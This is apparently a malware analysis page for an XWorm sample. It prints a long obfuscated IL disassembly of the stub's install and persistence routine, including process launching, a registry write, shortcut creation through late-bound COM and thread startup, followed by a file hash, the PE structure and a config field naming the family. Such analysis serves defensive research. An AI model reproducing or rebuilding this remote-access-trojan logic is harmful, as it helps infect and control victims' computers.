System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 castclass System.Diagnostics.ProcessStartInfo ldc.i4.1 <null> ldc.i4 389 ldc.i4 430 call System.Void Stub.Uninstaller::Ⴗ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int32) ldc.i4.8 <null> stloc.s V_27 br.s IL_0368: ldloc.s V_27 call System.String Stub.ClientSocket::UAC() ldc.i4 1013 ldc.i4 1015 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brfalse.s IL_03DD: ldc.i4.6 ldc.i4.1 <null> stloc.s V_27 br.s IL_0368: ldloc.s V_27 ldc.i4.6 <null> br.s IL_03D9: stloc.s V_27 ldloc.s V_8 castclass System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 castclass System.String[] ldc.i4.0 <null> ldc.i4 1468082432 ldc.i4.1 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 1004 ldc.i4 957 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4.2 <null> ldc.i4 1468082418 ldc.i4.3 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.4 <null> ldc.i4 1468082375 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4 559 ldc.i4 526 call System.String My.MyComputer::Ⴓ(System.String[],System.Char,System.Char) ldc.i4 286 ldc.i4 314 call System.Void Stub.Uninstaller::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int32) ldc.i4.0 <null> stloc.s V_27 br IL_0368: ldloc.s V_27 ldloc.s V_8 isinst System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 castclass System.String[] ldc.i4.0 <null> ldc.i4 1468082369 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 1008 ldc.i4 929 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.2 <null> ldc.i4 1468082418 ldc.i4.3 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.4 <null> ldc.i4 1468082382 ldc.i4.1 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4 724 ldc.i4 757 call System.String My.MyComputer::Ⴓ(System.String[],System.Char,System.Char) ldc.i4 771 ldc.i4 807 call System.Void Stub.Uninstaller::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int32) ldloc.s V_8 isinst System.Diagnostics.ProcessStartInfo ldc.i4 305 ldc.i4 296 call System.Diagnostics.Process Stub.Main/Ⴄ::ႤႳ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Char,System.Int16) stloc.s V_7 ldloc.s V_7 isinst System.Diagnostics.Process ldc.i4 558 ldc.i4 616 call System.Void My.MyComputer::ႥႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Int16,System.Char) leave.s IL_0579: ldc.i4.0 dup <null> ldc.i4 664 ldc.i4 721 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_9 ldc.i4 747 ldc.i4 710 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0579: ldc.i4.0 ldc.i4.0 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] call My.MyComputer My.MyProject::Ⴅ() ldc.i4 246 ldc.i4 225 call Microsoft.VisualBasic.MyServices.RegistryProxy Stub.Main/Ⴄ::ႤႥ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Int32,System.Int32) ldc.i4 195 ldc.i4 234 call Microsoft.Win32.RegistryKey Stub.Main/Ⴄ::ႤႰ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int16,System.Char) ldc.i4 1468082338 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> ldc.i4 772 ldc.i4 890 call Microsoft.Win32.RegistryKey My.MyComputer::ႥႣ<Microsoft.Win32.RegistryKey,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Int32,System.Char) ldsfld System.String Settings::InstallStr ldc.i4 415 ldc.i4 462 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) ldloc.0 <null> castclass System.String ldc.i4 562 ldc.i4 596 call System.Void Stub.Main/Ⴄ::ႤႨ<Microsoft.Win32.RegistryKey,System.Object,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Char,System.Int32) leave.s IL_0624: ldc.i4.5 dup <null> ldc.i4 693 ldc.i4 764 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_10 ldc.i4 749 ldc.i4 704 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0624: ldc.i4.5 ldc.i4.5 <null> stloc.s V_31 ldloc.s V_31 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4.s 39 ldc.i4.s 112 call System.String My.MyApplication::ႷႳ(System.Environment/SpecialFolder,System.Int32,System.Char) ldc.i4 1468082484 ldc.i4.6 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldsfld System.String Settings::InstallStr ldc.i4 316 ldc.i4 365 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) ldc.i4 1468082335 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.s 32 ldc.i4.s 78 call System.String Stub.Main/Ⴄ::ႠႭ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int32) stloc.s V_11 ldc.i4.2 <null> stloc.s V_31 br.s IL_0627: ldloc.s V_31 ldc.i4 1468082283 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4 1468082841 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldc.i4 1468082294 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_14 ldloc.s V_14 castclass System.Object[] ldc.i4.0 <null> ldloc.s V_11 castclass System.String stelem.ref <null> ldloc.s V_14 isinst System.Object[] stloc.s V_15 ldloc.s V_15 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_16 ldloc.s V_16 castclass System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_16 castclass System.Boolean[] call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_16 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0739: stloc.s V_17 ldloc.s V_15 castclass System.Object[] ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_11 stloc.s V_17 ldloc.s V_17 ldnull <null> ldc.i4 1468082253 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 castclass System.Object[] ldc.i4.0 <null> ldloc.0 <null> isinst System.String stelem.ref <null> ldloc.s V_18 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.4 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldloc.s V_17 ldnull <null> ldc.i4 1468082266 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 castclass System.Object[] ldc.i4.0 <null> ldc.i4 1468082835 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_18 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.3 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldloc.s V_17 ldnull <null> ldc.i4 1468082223 ldc.i4.0 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.8 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldnull <null> stloc.s V_17 ldloc.s V_11 castclass System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴈ.Ⴃ::Ⴍ leave.s IL_080A: ldc.i4.4 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_080A: ldc.i4.4 ldc.i4.4 <null> stloc.s V_33 ldloc.s V_33 switch dnlib.DotNet.Emit.Instruction[] call System.Void Ⴈ.Ⴃ::Ⴈ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldc.i4.3 <null> stloc.s V_33 br.s IL_080D: ldloc.s V_33 ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.s V_25 ldc.i4 279 ldelem.u2 <null> ldc.i4 63178 sub <null> stloc.s V_33 br IL_080D: ldloc.s V_33 ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null>

4cea87712364bcc12b941d51ca1b3be1 (97.28 KB)
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Characteristics
Malware Configuration - XWorm config.
Config. Field
Value
family

xworm

You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙